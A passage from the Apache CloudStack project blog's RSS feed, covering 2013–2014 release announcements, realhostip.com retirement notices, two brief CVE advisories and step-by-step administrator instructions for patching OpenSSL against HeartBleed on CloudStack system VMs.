rel="noopener noreferrer">http://cloudstack.apache.org/</a> and <a href="https://twitter.com/CloudStack" target="_blank" rel="noopener noreferrer">https://twitter.com/CloudStack</a></p><h1></h1>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Realhostip Reprieve for CloudStack Users]]></title>
            <link>https://cloudstack.apache.org/blog/realhostip_reprieve</link>
            <guid>https://cloudstack.apache.org/blog/realhostip_reprieve</guid>
            <pubDate>Fri, 06 Jun 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[As mentioned previously, the realhostip.com dynamic DNS resolver service is being retired this summer. During testing of Apache CloudStack version 4.3, we found a few more issues related to realhostip.com that have been addressed for the 4.4 release.]]></description>
            <content:encoded><![CDATA[<p>As mentioned previously, the <a href="https://blogs.apache.org/cloudstack/entry/realhostip_service_is_being_retired" target="_blank" rel="noopener noreferrer">realhostip.com dynamic DNS resolver service is being retired this summer</a>. During testing of Apache CloudStack version 4.3, we found a few more issues related to realhostip.com that have been addressed for the 4.4 release.</p><p>In order to give everybody a reasonable window to update their CloudStack installations to use the updated code, the retirement date for the realhostip.com service has been pushed back to <b>September 30th, 2014</b>. This provides an additional 3 months from the original June 30th date.</p><p>Any questions related to the retirement of the realhostip.com service and it's affect on CloudStack installations should be send to the CloudStack Users or Development mailing lists. Further information about how to subscribe and interact with the mailing lists is available at <a href="https://cloudstack.apache.org/mailing-lists.html" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/mailing-lists.html</a>.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ASF Mailing List Problems (Update: we are back to normal)]]></title>
            <link>https://cloudstack.apache.org/blog/asf_mailing_list_problems</link>
            <guid>https://cloudstack.apache.org/blog/asf_mailing_list_problems</guid>
            <pubDate>Thu, 08 May 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[Update: The email infrastructure is back to normal, although it may take some time for the queued messages to completely flush out of the backlog. See the linked post from the ASF infrastructure team below for more details.]]></description>
            <content:encoded><![CDATA[<p><strong>Update:</strong> The email infrastructure is back to normal, although it may take some time for the queued messages to completely flush out of the backlog. See the linked post from the ASF infrastructure team below for more details.</p><p>There are ongoing problems with the ASF's email infrastructure that mean no mail delivery is happening for our project's lists.  Please check the <a href="https://blogs.apache.org/infra/entry/mail_outage" target="_blank" rel="noopener noreferrer">official ASF infrastructure blog post</a> and <a href="https://twitter.com/infrabot" target="_blank" rel="noopener noreferrer">twitter feed</a> for updates.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Mitigate OpenSSL HeartBleed Vulnerability in Apache CloudStack]]></title>
            <link>https://cloudstack.apache.org/blog/how_to_mitigate_openssl_heartbleed</link>
            <guid>https://cloudstack.apache.org/blog/how_to_mitigate_openssl_heartbleed</guid>
            <pubDate>Wed, 09 Apr 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[UPDATE 1: The instructions below are incomplete. The proper upgrade command is "apt-get install openssl libssl1.0.0". If you've just updated openssl, please go back and update libssl as well.]]></description>
            <content:encoded><![CDATA[<b>UPDATE 1:</b> The instructions below are incomplete. The proper upgrade command is "apt-get install openssl libssl1.0.0". If you've just updated openssl, please go back and update libssl as well.<br><b>UPDATE 2:</b> Adding instructions for VMWare-hosted System VMs (Thanks to Geoff Higginbottom at ShapeBlue)<br><b>UPDATE 3:</b> Added instructions for verification of correct versions installed<br><b>UPDATE 4:</b> Apache CloudStack 4.0-4.1 not vulnerable, they use older Debian/openssl.<br><p>Earlier this week, a security vulnerability was disclosed in OpenSSL, one of the software libraries that Apache CloudStack uses to encrypt data sent over network connections. As the vulnerability has existed in OpenSSL since early 2012, System VMs in Apache CloudStack versions 4.1.1-4.3 are running software using vulnerable versions of OpenSSL. This includes CloudStack's Virtual Router VMs, Console Proxy VMs, and Secondary Storage VMs.</p><p>We are actively working on creating updated System VM templates for each recent version of Apache CloudStack, and for each of the hypervisor platforms which Apache CloudStack supports. Due to our testing and QA processes, this will take several days. In the meantime, we want to provide our users with a temporary workaround for currently running System VMs.</p><p>If you are running Apache CloudStack 4.0.0-incubating through the recent 4.3 release, the following steps will help ensure the security of your cloud infrastructure until an updated version of the System VM template is available:</p><h2> For KVM/Xen hosted systems</h2><ol><li> As an administrator in the CloudStack web UI, navigate to Infrastructure-&gt;System VMs</li><li> For each System VM listed, note the host it is running on, and it’s “Link Local IP address."</li><li> With that data, perform the following steps for each System VM:<ol type="a"><li> ssh into that host as root</li><li> From the host, ssh into the SSVM via it’s link local IP address: (e.g. ssh -i /root/.ssh/id_rsa.cloud -p 3922 169.254.3.33)</li><li> On the System VM, first run "apt-get update"</li><li> Then run apt-get install "openssl libssl1.0.0". If a dialog appears asking to restart programs, accept it’s request.</li><li> Next, for Secondary Storage VMs, run /etc/init.d/apache2 restart</li><li> Log out of the System VM and host server</li></ol></li><li>Back in the CloudStack UI, now navigate to Infrastructure-&gt;Virtual Routers. For each VR, host it's running on and it's link local IP address, and then repeat steps a-f above.</li></ol><h2> For VMWare hosted systems</h2><ol><li> As an administrator in the CloudStack web UI, navigate to Infrastructure-&gt;System VMs</li><li> For each System VM listed, note it's management IP address</li><li> With that data, perform the following steps for each System VM:</li><li> From the Management Server, ssh to the System VM via it's management IP: (eg ssh -i /var/lib/cloud/management/.ssh/id_rsa -p 3922 root@10.40.50.8)</li><li> On the System VM, first run "apt-get update"</li><li> Then run apt-get install "openssl libssl1.0.0". If a dialog appears asking to restart programs, accept it’s request.</li><li> Next, for Secondary Storage VMs, run /etc/init.d/apache2 restart</li><li> Log out of the System VM</li><li>Back in the CloudStack UI, now navigate to Infrastructure-&gt;Virtual Routers. For each VR, host it's running on and it's link local IP address, and then repeat steps a-f above.</li></ol><h2>Verification</h2><p>On each System VM, you can test if it has non-vulnerable openssl packages installed by listing installed packages and looking at the installed versions of openssl and libssl. As in the example below, for a system to be non-vulnerable, the packages need to be at or above version 1.0.1e-2+deb7u6:</p><div class="codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_biex"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">root@v-14-VM:~# dpkg -l|grep ssl ii  libssl1.0.0:i386                     1.0.1e-2+deb7u6                  i386         SSL shared libraries ii  openssl                              1.0.1e-2+deb7u6                  i386         Secure Socket Layer (SSL) binary and related cryptographic tools</span><br></span></code></pre><div class="buttonGroup__atx"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_eSgA" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_y97N"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_LjdS"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div><p>We realize that for larger installations where System VMs are being actively created and destroyed based on customer demand, this is a very rough stop-gap. The Apache CloudStack security team is actively working on a more permanent fix and will be releasing that to the community as soon as possible.</p><p>For Apache CloudStack installations that secure the web-based user-interface with SSL, these may also be vulnerable to HeartBleed, but that is outside the scope of this blog post. We recommend testing your installation with [1] to determine if you need to patch/upgrade the SSL library used by any web servers (or other SSL-based services) you use.</p><a href="http://filippo.io/Heartbleed/" target="_new" rel="noopener noreferrer">http://filippo.io/Heartbleed/</a>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Announcing Apache CloudStack 4.3.0]]></title>
            <link>https://cloudstack.apache.org/blog/announcing_apache_cloudstack_4_3</link>
            <guid>https://cloudstack.apache.org/blog/announcing_apache_cloudstack_4_3</guid>
            <pubDate>Tue, 25 Mar 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[Flexible, scalable, Open Source Infrastructure as a Service (IaaS) used by organizations such as Zynga, Datapipe, and ISWest, among others, for creating, managing, and deploying public, private, and hybrid Cloud Computing environments]]></description>
            <content:encoded><![CDATA[<p>Flexible, scalable, Open Source Infrastructure as a Service (IaaS) used by organizations such as Zynga, Datapipe, and ISWest, among others, for creating, managing, and deploying public, private, and hybrid Cloud Computing environments</p><p>Forest Hill, MD --25 March 2014-- The Apache Software Foundation (ASF), the all-volunteer developers, stewards, and incubators of more than 170 Open Source projects and initiatives, today announced Apache CloudStack v4.3, the latest feature release of the CloudStack cloud orchestration platform.</p><p>Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS) software platform that allows users to build feature-rich public, private, and hybrid cloud environments. CloudStack includes an intuitive user interface and rich APIs for managing the compute, networking, software, and storage infrastructure resources. CloudStack became an Apache Top-level Project (TLP) in March 2013. "We are proud to announce CloudStack v4.3," said Hugo Trippaers, Vice President of Apache CloudStack. "This release represents over six months of work from the Apache CloudStack community with many new and improved features."</p><h3>Under The Hood</h3><p>CloudStack V4.3 is the next feature release of the 4.x line which first released on November 6, 2012. Some of the noteworthy new and improved features include:</p><ul><li>Support for Microsoft Hyper-V - Apache CloudStack can now manage Hyper-V hypervisors in addition to KVM, XenServer, VMware, LXC, and Bare Metal</li><li>Juniper OpenContrail integration - OpenContrail is a software defined networking controller from Juniper that CloudStack now integrates with to provide SDN services</li><li>SSL Termination support for guest VMs - Apache CloudStack can configure and manage SSL termination in certain load balancer devices</li><li>Palo Alto Firewall integration - Apache CloudStack can now manage and configure Palo Alto firewalls</li><li>Remote access VPN for VPC networks - CloudStack's remote access VPN is now available for Virtual Private Cloud networks</li><li>Site to Site VPN between VRs - CloudStack now allows site-to-site VPN connectivity to it's virtual routing devices. This permits your cloud computing environment to appear as a natural extension of your local network, or for you to easily interconnect multiple environments</li><li>VXLAN support expansion to include KVM - CloudStack's support for integrating VXLAN, the network virtualization technology that attempts to ameliorate scalability problems with traditional networking</li><li>SolidFire plugin extension to support KVM and hypervisor snapshots for XenServer and ESX - SolidFire provides guaranteed Storage Quality of Service at the Virtual Machine level</li><li>Dynamic Compute offering - CloudStack now has the ability to dynamically scale the resources assigned to a running virtual machine instance for those hypervisors which support it</li></ul><h3>Downloads and Documentation</h3><p>The official source code for the v4.3 release, as well as individual contributors' convenience binaries, can be downloaded from the Apache CloudStack downloads page at <a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/downloads.html</a></p><p>The CloudStack 4.3 release includes over 110 issues from 4.2.0 and 4.2.1, including fixes for object storage support, documentation, and more. A full list of corrected issues and upgrade instructions are available in the Release Notes <a href="http://docs.cloudstack.apache.org/projects/cloudstack-release-notes" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/projects/cloudstack-release-notes</a></p><p>Official installation, administration, and API documentation for each release is available at <a href="http://docs.cloudstack.apache.org/en/latest/" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/en/latest/</a>Apache CloudStack in Action</p><p>Join members of the Apache CloudStack community at the CloudStack Collaboration Conference, taking place 9-11 April 2014 immediately following ApacheCon. For more information, visit <a href="http://cloudstackcollab.org" target="_blank" rel="noopener noreferrer">http://cloudstackcollab.org</a></p><h3>Availability and Oversight</h3><p>As with all Apache products, Apache CloudStack v4.3 is released under the Apache License v2.0, and is overseen by a self-selected team of active contributors to the project. A Project Management Committee (PMC) guides the Project’s day-to-day operations, including community development and product releases. For documentation and ways to become involved with Apache CloudStack, visit http://cloudstack.apache.org/</p><h3>About The Apache Software Foundation (ASF)</h3><p>Established in 1999, the all-volunteer Foundation oversees more than one hundred and seventy leading Open Source projects, including Apache HTTP Server --the world's most popular Web server software. Through the ASF's meritocratic process known as "The Apache Way," more than 400 individual Members and 3,500 Committers successfully collaborate to develop freely available enterprise-grade software, benefiting millions of users worldwide: thousands of software solutions are distributed under the Apache License; and the community actively participates in ASF mailing lists, mentoring initiatives, and ApacheCon, the Foundation's official user conference, trainings, and expo. The ASF is a US 501(c)(3) charitable organization, funded by individual donations and corporate sponsors including Budget Direct, Citrix, Cloudera, Comcast, Facebook, Google, Hortonworks, HP, Huawei, IBM, InMotion Hosting, Matt Mullenweg, Microsoft, Pivotal, Produban, WANdisco, and Yahoo.</p><p>For more information, visit http://www.apache.org/ or follow @TheASF on Twitter.</p><p>"Apache", "CloudStack", "Apache CloudStack", and "ApacheCon" are trademarks of The Apache Software Foundation. All other brands and trademarks are the property of their respective owners.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Realhostip Service is Being Retired]]></title>
            <link>https://cloudstack.apache.org/blog/realhostip_service_is_being_retired</link>
            <guid>https://cloudstack.apache.org/blog/realhostip_service_is_being_retired</guid>
            <pubDate>Tue, 25 Mar 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[Recently the Apache CloudStack PMC was informed that the realhostip.com Dynamic DNS service that CloudStack currently uses as part of the console proxy will be disbanded this summer.  The realhostip service will be shut down June 30th, 2014, meaning users have approximately 3 months to mitigate this.]]></description>
            <content:encoded><![CDATA[<p>Recently the Apache CloudStack PMC was informed that the realhostip.com Dynamic DNS service that CloudStack currently uses as part of the console proxy will be disbanded this summer.  The realhostip service will be <b>shut down June 30th, 2014, meaning users have approximately 3 months to mitigate this</b>.</p><p>Prior to version 4.3, CloudStack used the realhostip.com service by default. With the release of CloudStack version 4.3 the default communication method with the console proxy is plaintext HTTP.</p><h3>Who is Affected</h3><p>CloudStack installations prior to version 4.3 that have not been reconfigured to use a DNS domain other than realhostip.com for Console Proxy or Secondary Storage must make changes to continue functioning past June 30th, 2014.</p><h3>Steps You Need to Take</h3><p>If you meet the criteria above, there are several options to prepare for realhostip retirement:</p><ul><li> Set up wildcard SSL certificate and DNS entries: This method is already well supported within prior versions of CloudStack.</li><li> Upgrade to CloudStack 4.3 and disable SSL: This is only recommended for development installations, or private clouds that contain no information of importance.</li><li> Upgrade to CloudStack 4.3, set up static SSL certificate and configure load balancer to point to the correct IP address: While this allows an administrator to skip setting up the DNS entries from the previous option, it is a more advanced option as CloudStack 4.3 does not support automatic load balancer configuration for the Console Proxy. It is hoped this functionality will be available in future releases.</li></ul><p><b>For instructions</b> on how to set up SSL encryption for use with CloudStack console proxy, please read the <a href="http://docs.cloudstack.apache.org/projects/cloudstack-administration/en/latest/systemvm.html#console-proxy" target="_blank" rel="noopener noreferrer">console proxy section of the CloudStack administration guide</a>.</p><p>Additionally, if you will be using an SSL vendor who requires an intermediate CA chain to be installed for proper SSL validation by web browsers, detailed instructions for configuring the intermediate CA chain in CloudStack can be found <a href="http://www.chipchilders.com/blog/2013/1/2/undocumented-feature-using-certificate-chains-in-cloudstack.html" target="_blank" rel="noopener noreferrer">here</a>.</p><p><i>The Apache CloudStack security team does not recommend running a production cloud with either the realhostip.com SSL certificate, or with no SSL encryption at all.</i></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Announcing Apache CloudStack 4.2.1]]></title>
            <link>https://cloudstack.apache.org/blog/announcing_apache_cloudstack_4_21</link>
            <guid>https://cloudstack.apache.org/blog/announcing_apache_cloudstack_4_21</guid>
            <pubDate>Fri, 10 Jan 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the 4.2.1 release of the CloudStack cloud orchestration platform. This is a minor release of the 4.2.0 branch which released on Oct 1, 2013. The 4.2.1 release contains more than 150 bug fixes. As a bug fix release, no new features are included in 4.2.1.]]></description>
            <content:encoded><![CDATA[<p>The Apache CloudStack project is pleased to announce the 4.2.1 release of the CloudStack cloud orchestration platform. This is a minor release of the 4.2.0 branch which released on Oct 1, 2013. The 4.2.1 release contains more than 150 bug fixes. As a bug fix release, no new features are included in 4.2.1.</p><p>The 4.2.1 release includes fixes for a number of issues; including problems with Xenserver VMSnapshots, UCS, device ID for Xen, configurable option to choose single Vs multipart upload for S3 API, allowing network with public IP Address without needing SourceNAT, and documentation fixes.</p><p>As a minor release it is a simple upgrade from 4.2.0 with no architectural changes. CloudStack Management Servers Services, and all SystemVMs will require a restart.</p><p>This release also addresses two security issues CVE-2013-6398 and CVE-2014-0031</p><p><strong>Documentation</strong></p><p>The 4.2.1 release notes includes full list of corrected issues as well as upgrade instructions from previous versions of Apache CloudStack. Please see the <a href="http://cloudstack.apache.org/docs/en-US/Apache_CloudStack/4.2.1/html/Release_Notes/index.html" target="_blank" rel="noopener noreferrer">Release Notes</a> for a full list of corrected issues and upgrade instructions.</p><p>The official installation, administration and API documentation for each release are available on our <a href="http://cloudstack.apache.org/docs" target="_blank" rel="noopener noreferrer">Documentation Page</a>.</p><p><strong>Downloads</strong></p><p>The official source code for the 4.2.1 release can be downloaded from our <a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">Downloads Page</a>.</p><p>In addition to the official source code release, individual contributors have also made convenience binaries in the form or RPM and Deb packages available from the download page. </p><p><strong>About Apache CloudStack</strong></p><p>Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS) software platform that allows users to build feature-rich public and private cloud environments. CloudStack includes an intuitive user interface and rich APIs for managing the compute, networking, software, and storage infrastructure resources. The project became an Apache top level project in March 2013.</p><p>For additional marketing or communications information, please contact the <a href="mailto:marketing@cloudstack.apache.org" target="_blank" rel="noopener noreferrer">marketing mailing list</a>.</p><p>To learn how to join and contribute to the Apache CloudStack community please visit our <a href="http://cloudstack.apache.org" target="_blank" rel="noopener noreferrer">website</a>.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[[CVE-2013-6398] CloudStack Virtual Router stop/start modifies firewall rules allowing additional access]]></title>
            <link>https://cloudstack.apache.org/blog/cve_2013_6398_cloudstack_virtual</link>
            <guid>https://cloudstack.apache.org/blog/cve_2013_6398_cloudstack_virtual</guid>
            <pubDate>Fri, 10 Jan 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[Product: Apache CloudStack]]></description>
            <content:encoded><![CDATA[<p>Product: Apache CloudStack<br>Vendor: Apache Software Foundation<br>Vulnerability type: Bypass<br>Vulnerable Versions: Apache CloudStack 4.1.0, 4.1.1, 4.2.0<br>CVE References: CVE-2013-2136<br>Risk Level: Low<br>CVSSv2 Base Scores: 2.8 (AV:N/AC:M/Au:M/C:P/I:N/A:N)<br></p><p>Description:</p><p>The Apache CloudStack Security Team was notified of a an issue in the Apache CloudStack virtual router that failed to preserve source restrictions in firewall rules after a virtual router had been stopped and restarted.</p><p>Mitigation:</p><p>Upgrading to CloudStack 4.2.1 or higher will mitigate this issue.</p><p>References:</p><p>https://issues.apache.org/jira/browse/CLOUDSTACK-5263</p><p>Credit:</p><p>This issue was identified by the Cloud team at Schuberg Philis</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[[CVE-2014-0031] CloudStack ListNetworkACL API discloses ACLs for other users]]></title>
            <link>https://cloudstack.apache.org/blog/cve_2014_0031_cloudstack_listnetworkacl</link>
            <guid>https://cloudstack.apache.org/blog/cve_2014_0031_cloudstack_listnetworkacl</guid>
            <pubDate>Fri, 10 Jan 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[Product: Apache CloudStack]]></description>
            <content:encoded><![CDATA[<p>Product: Apache CloudStack<br>Vendor: Apache Software Foundation<br>Vulnerability type: Information Disclosure<br>Vulnerable Versions: Apache CloudStack 4.2.0<br>CVE References: CVE-2014-0031<br>Risk Level: Low<br>CVSSv2 Base Scores: 3.5  (AV:N/AC:M/Au:S/C:P/I:N/A:N)<br></p><p>Description:</p><p>The Apache CloudStack Security Team was notified of a an issue in Apache CloudStack which permits an authenticated user to list network ACLs for other users.</p><p>Mitigation:</p><p>Upgrading to CloudStack 4.2.1 or higher will mitigate this issue.</p><p>References:</p><p>https://issues.apache.org/jira/browse/CLOUDSTACK-5145</p><p>Credit:</p><p>This issue was identified by Marcus Sorensen</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Announcing Apache CloudStack 4.2.0]]></title>
            <link>https://cloudstack.apache.org/blog/announcing_apache_cloudstack_4_2</link>
            <guid>https://cloudstack.apache.org/blog/announcing_apache_cloudstack_4_2</guid>
            <pubDate>Tue, 01 Oct 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is excited to announce the 4.2 feature release of the CloudStack cloud orchestration platform. This is the next feature release of the 4.x line which first released on November 6, 2012 with the 4.1 release on June 5. This is the second major release from Apache CloudStack since its graduation from the Apache Incubator on March 20th.]]></description>
            <content:encoded><![CDATA[<p>The <a href="http://cloudstack.apache.org" target="_blank" rel="noopener noreferrer">Apache CloudStack</a> project is excited to announce the 4.2 feature release of the CloudStack cloud orchestration platform. This is the next feature release of the 4.x line which first released on November 6, 2012 with the 4.1 release on June 5. This is the second major release from Apache CloudStack since its graduation from the Apache Incubator on March 20th.</p><p>This release represents over six months of work from the Apache CloudStack community with 57 new and 29 improved features being provided. Many new features incorporate contributions from major corporations and support for industry standards. New integrated support of the Cisco UCS compute chassis, SolidFire storage arrays, and the S3 storage protocol are just a few of the features available in this release.</p><p><strong>Documentation</strong></p><p>The 4.2 release includes over 160 issues from 4.1.0 and 4.1.1 were fixed; including fixes for swift support, fixes to documentation, and more. Please see the <a href="http://cloudstack.apache.org/docs/en-US/Apache_CloudStack/4.2.0/html/Release_Notes/index.html" target="_blank" rel="noopener noreferrer">Release Notes</a> for a full list of corrected issues and upgrade instructions.</p><p>The official installation, administration and API documentation for each release are available on our <a href="http://cloudstack.apache.org/docs/" target="_blank" rel="noopener noreferrer">Documentation Page</a>.</p><p><strong>Downloads</strong></p><p>The official source code for the 4.2 release can be downloaded from our <a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">Downloads Page</a>.</p><p>In addition to the official source code release, individual contributors have also made convenience binaries available on the<a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">Apache CloudStack download page</a>.</p><p><strong>Apache CloudStack</strong></p><p>Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS) software platform that allows users to build feature-rich public and private cloud environments. CloudStack includes an intuitive user interface and rich APIs for managing the compute, networking, software, and storage infrastructure resources. The project became an Apache top level project in March 2013.</p><p>For additional marketing or communications information, please contact the <a href="mailto:marketing@cloudstack.apache.org" target="_blank" rel="noopener noreferrer">marketing mailing list</a>.</p><p>To learn how to join and contribute to the Apache CloudStack community please visit our website at <a href="http://cloudstack.apache.org" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org</a>.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Announcing Apache CloudStack CloudMonkey 5.0.0!]]></title>
            <link>https://cloudstack.apache.org/blog/announcing_apache_cloudstack_cloudmonkey_5</link>
            <guid>https://cloudstack.apache.org/blog/announcing_apache_cloudstack_cloudmonkey_5</guid>
            <pubDate>Tue, 24 Sep 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the immediate availability]]></description>
            <content:encoded><![CDATA[<p>The Apache CloudStack project is pleased to announce the immediate availability of the Apache CloudStack CloudMonkey 5.0.0 release.</p><p>Apache CloudStack's CloudMonkey is a Python-based command line utility for interacting with Apache CloudStack IaaS clouds.  The software provides an interactive shell environment that includes command discovery, auto-completion and multiple output formats. CloudMonkey can also be used as a simple command line utility, which can be easily integrated into larger shell scripts.</p><p>This is the first independently released version of CloudMonkey provided by the Apache CloudStack project community.  This release includes pre-cached API command syntax for Apache CloudStack versions up to and including CloudStack 4.2.0.</p><p>The release can be obtained from the CloudMonkey section of the Apache CloudStack download page:</p><p><a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/downloads.html</a></p><p>Additionally, the 5.0.0 release is available via the Python Package Index (https://pypi.python.org/pypi/cloudmonkey) and may be installed via pip. Further instructions may be found on the Apache CloudStack download page.</p><p>We welcome your help and feedback. For more information on how to report problems, and to get involved, visit the project website at:</p><p><a href="http://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 4 September 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_42</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_42</guid>
            <pubDate>Thu, 05 Sep 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[Welcome back to another exciting issue of the Apache CloudStack Weekly News. This week, 4.2.0 enters it's fourth round of voting, we welcome several new committers and look at some of the major discussions on the Apache CloudStack mailing lists, and much more.]]></description>
            <content:encoded><![CDATA[<p>Welcome back to another exciting issue of the <a href="http://cloudstack.apache.org" target="_blank" rel="nofollow" class="external-link">Apache CloudStack</a> Weekly News. This week, 4.2.0 enters it's fourth round of voting, we welcome several new committers and look at some of the major discussions on the Apache CloudStack mailing lists, and much more. </p><h3><a name="ApacheCloudStackWeeklyNews-4September2013-MajorDiscussions"></a>Major Discussions</h3><h5><a name="ApacheCloudStackWeeklyNews-4September2013-4.2isNowbeingVotedOn"></a>4.2 is Now being Voted On</h5><p>The fourth round of voting is now <a href="http://markmail.org/message/xxfksrwvabkip2lb" target="_blank" rel="nofollow" class="external-link">open</a> on the 4.2 release. This release is full of new features, fixes and thousands of hours of work from everyone in the community. It's important to test and cast your vote on the release. Remember that all members of the community are <a href="http://cloudstack.apache.org/bylaws.html" target="_blank" rel="nofollow" class="external-link">eligible to cast a vote</a> and note any issues that they have with the current release candidate. </p><h5><a name="ApacheCloudStackWeeklyNews-4September2013-4.2IssuesClosure"></a>4.2 Issues Closure</h5><p>Sudha Ponnaganti has throughout the 4.2 put <a href="http://markmail.org/message/pwmlzcq7nwtcfdg5" target="_blank" rel="nofollow" class="external-link">together a list</a> of the current blocker and critical issues that need to be reviewed. If you have issues that have been resolved please review, test, and close out please. </p><h5><a name="ApacheCloudStackWeeklyNews-4September2013-HighQualityDocumentation"></a>High Quality Documentation</h5><p>For some time now there has been discussion around a possible replacement to our current use DocBook for our primary document editor. Sebastien Goasguen started a <a href="http://markmail.org/message/5z2umxi3whcyqddy" target="_blank" rel="nofollow" class="external-link">discussion</a> to look at <a href="http://daringfireball.net/projects/markdown/" target="_blank" rel="nofollow" class="external-link">Markdown by Daring Fireball</a>. With there being concern about how to create and maintain high quality documentation, this is an important thread to participate in for anyone interested in the release documents. </p><blockquote><p>After seeing lots of frustrated people with folks I decided to try something out with markdown.</p><p>I used pandoc to convert some docbook files to markdown and I used a structure for a book based on 'The little mongodb' book.<br>We can generate epub and pdf using latex.</p><p>See: <a href="https://github.com/runseb/cloudstack-books" target="_blank" rel="nofollow" class="external-link">link</a></p><p>There are two "books" aimed at being step by step recipes. Not long, not convoluted, single OS, etc…simple step by step.</p><p><a href="https://github.com/runseb/cloudstack-books/blob/master/en/clients.markdown" target="_blank" rel="nofollow" class="external-link">link</a><br><a href="https://github.com/runseb/cloudstack-books/blob/master/en/installation.markdown" target="_blank" rel="nofollow" class="external-link">link</a></p><p>I am still sanitizing the installation one based on 4.2 .</p><p>Comments, flames ?</p></blockquote><h3><a name="ApacheCloudStackWeeklyNews-4September2013-CloudStackPlanet"></a>CloudStack Planet</h3><h5><a name="ApacheCloudStackWeeklyNews-4September2013-SpeakinginTechPodcastTheRegister"></a>Speaking in Tech Podcast - The Register</h5><p>Aaron Delp joined in as a part of talking cloud and especially CloudStack as part of an <a href="http://markmail.org/message/ddyi72tzrfhcvycr" target="_blank" rel="nofollow" class="external-link">interview with The Register</a> and their "Speaking in Tech" podcast series. </p><p>Aaron's section on ACS is from 17:45 to 26:00 - <a href="http://www.theregister.co.uk/2013/08/01/speaking_in_tech_episode_69/" target="_blank" rel="nofollow" class="external-link">http://www.theregister.co.uk/2013/08/01/speaking_in_tech_episode_69/</a></p><h5><a name="ApacheCloudStackWeeklyNews-4September2013-CloudStackAppliancesReleased"></a>CloudStack Appliances Released</h5><p>Ilya Musayev a committer of the ACS project and founder of CloudSands project has recently <a href="http://markmail.org/message/cumk7jl2lt2e35jg" target="_blank" rel="nofollow" class="external-link">announced the release</a> of a set of pre-built management server appliances available for open use based off the ACS 4.1.1 code base. There are appliances for VMware, Xen and KVM hypervisors. </p><blockquote><p>Objective: Speed up the Apache CloudStack adoption by abstracting the need of going through install process and using pre-installed package instead. Especially useful for a quick POC.</p><p>vSphere:<br>Short URL: <a href="http://s.apache.org/vapp-acs411-vsphere" target="_blank" rel="nofollow" class="external-link">link</a><br>Long URL: <a href="http://download.cloudsand.com/appliances/cloudstack/centos6.4-x86_64-cloudstack-4.1.1.ova" target="_blank" rel="nofollow" class="external-link">link</a></p><p>KVM:<br>Short URL: <a href="http://s.apache.org/vapp-acs411-kvm" target="_blank" rel="nofollow" class="external-link">link</a><br>Long URL: <a href="http://download.cloudsand.com/appliances/cloudstack/centos6.4-x86_64-cloudstack-4.1.1.qcow2.bz2" target="_blank" rel="nofollow" class="external-link">link</a></p><p>XEN:<br>Short URL: <a href="http://s.apache.org/vapp-acs411-xen" target="_blank" rel="nofollow" class="external-link">link</a><br>Full URL: <a href="http://download.cloudsand.com/appliances/cloudstack/centos6.4-x86_64-cloudstack-4.1.1.vhd.bz2" target="_blank" rel="nofollow" class="external-link">link</a></p><p>Minimum Requirements:<br>1 CPU x 2 GB of RAM</p><p>Testing:</p><p>Please spend few minutes on testing these out, you can import it as a template into your ACS - power on and see the details on initial start.<br>I've tested vSphere and KVM version. I don't have XEN instance to try.</p></blockquote><h3><a 